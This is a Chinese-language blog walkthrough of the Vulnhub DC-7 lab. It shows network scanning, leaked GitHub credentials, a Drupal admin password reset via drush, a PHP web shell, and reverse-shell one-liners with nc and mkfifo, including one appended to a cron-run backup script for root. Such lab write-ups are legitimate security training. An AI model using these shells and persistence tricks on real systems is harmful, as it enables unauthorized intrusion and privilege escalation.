Vulnhub[DC7]

简介

image-20220704185700026

下载

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220704185749823

经过筛选可以知道192.168.0.153是DC-7的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.153

image-20220704185805303

发现这里只是开了80、22端口

首先从80端口入手

image-20220704185837038

DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are. 😃

While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.

What you will have to do, is to think "outside" the box.

Way "outside" the box. 😃

翻译:

DC-7 引入了一些“新”概念,但我会让你弄清楚它们是什么。 😃
虽然这个挑战并不完全是技术性的,但如果您需要诉诸暴力破解或字典攻击,您可能不会成功。
你要做的,就是跳出框框思考。
方式“外”框。 😃

CMS还是Drupal

但是这个靶机直接换了一种玩法,这是没想到的

image-20220704185942370

这一题需要注意到这个地方

我们直接搜索,能发现有一个GitHub的用户,进去看能够发现一个staffdb的源码文件夹,并给了提示这源码是dc7靶机的突破口

image-20220704190306190

员工数据库
这是 DC-7 挑战的一些“代码”(是的,它不是最好的代码,但这不是重点)。
顺便说一句,这不是一面旗帜,但如果你在这里做到了,无论如何都做得很好。 😃

将源码下载到本地

git clone  https://github.com/Dc7User/staffdb

分析源码,发现一个config.php文件,在这个配置文件里找到了用户名和密码

image-20220704190543249

渗透

用SSH链接靶机,登录dc7user发现可以成功连接

image-20220704190706241

image-20220704191449143

打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下

image-20220704191541291

进入到/opt/scripts目录下,查看backups.sh脚本文件,发现两个命令gpg和drush

gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码

image-20220704191738982

进入到/var/www/html目录下,使用drush命令修改admin用户的密码为123456

image-20220704191917745

然后就可以使用admin/123456登录后台了

image-20220704192038703

一般流程就是发布一篇新的文章,写入shell

但是Drupal 8没有为了安全,需要将php单独作为一个模块导入

image-20220704200716814

Php介绍页面如下,模块包下载地址也附上

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image-20220704200832882

image-20220704200916211

Install后跳转到模块添加成功页面,然后去激活这个模块

image-20220704201040523

选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示

image-20220704201333057

然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码

image-20220704201946749

蚁剑连接,成功连接getshell

image-20220704202115821

提权

然后还是并反弹shell到kali,切换shell外壳

nc -e /bin/bash 192.168.0.153 8888
nc -lvvp 8888

image-20220704202623274

当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell

写入反弹shell代码到backups.sh脚本文件中,并在kali监听5555端口,等待执行计划任务,成功getshell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.129 5555 >/tmp/f" >> backups.sh

image-20220704214941077

然后就是去root目录下找flag了

image-20220704215126291

posted @ 2022-07-04 21:59  Townmacro  阅读(58)  评论(0编辑  收藏  举报